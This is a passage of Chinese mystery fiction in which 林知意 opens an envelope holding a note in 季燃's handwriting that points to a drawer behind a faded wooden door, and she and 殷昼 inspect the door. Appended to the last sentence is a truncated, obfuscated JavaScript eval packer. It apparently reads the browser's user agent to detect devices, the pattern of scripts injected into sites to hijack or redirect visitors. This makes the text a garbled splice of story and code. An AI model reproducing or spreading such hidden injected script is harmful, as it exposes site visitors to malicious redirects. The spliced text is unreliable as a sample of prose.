她把布料掀开,信封边缘露出来。牛皮纸的,封口朝里。她把它拿出来,信封表面没有灰尘,也没有潮气——放进去的时间不长。她拆开封口,抽出里面的信纸,展开。
信纸上只有两行字,字迹是季燃的笔迹,比之前季循留下的任何一张纸条都更紧凑:“如果你能走完夹合物的全部四段标记并穿过围栏走到这里,你应该已经看过了第三段壁龛里的裁切纸片。那卷纸在被取出后没有被销毁,被放在门内走廊尽头右手边第二个房间的抽屉里。纸条是放置信封之前放入信箱的,信箱小门在数日前被拉开过一次,之后又被恢复了关闭状态。季循在该次操作后没有再次打开信箱口。”
林知意看完之后把信纸折好放回信封,信封内壁没有其他附着物,没有夹层。她站直了,把信封放进口袋。
殷昼站在她旁边已经读完了信纸上的内容。他偏头看了一眼门框上方那块模糊的门牌号:“这扇门内走廊尽头右手边第二个房间的抽屉——在门的另一侧。这扇门不是公寓单元门,是独立的建筑入口。”
她偏头看了一眼那扇门,门体是木质的,漆面已经褪色,但门把手上没有明显的灰尘,近期被开过。她没有立刻去推门。她站在门前停了一会儿,偏头看了一眼路灯下那组压痕的方向,然后收回视线。“这扇门现在可能是锁着的,也可能没有锁。季循来过这里一次,只拉开了信箱口,没有开过门。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|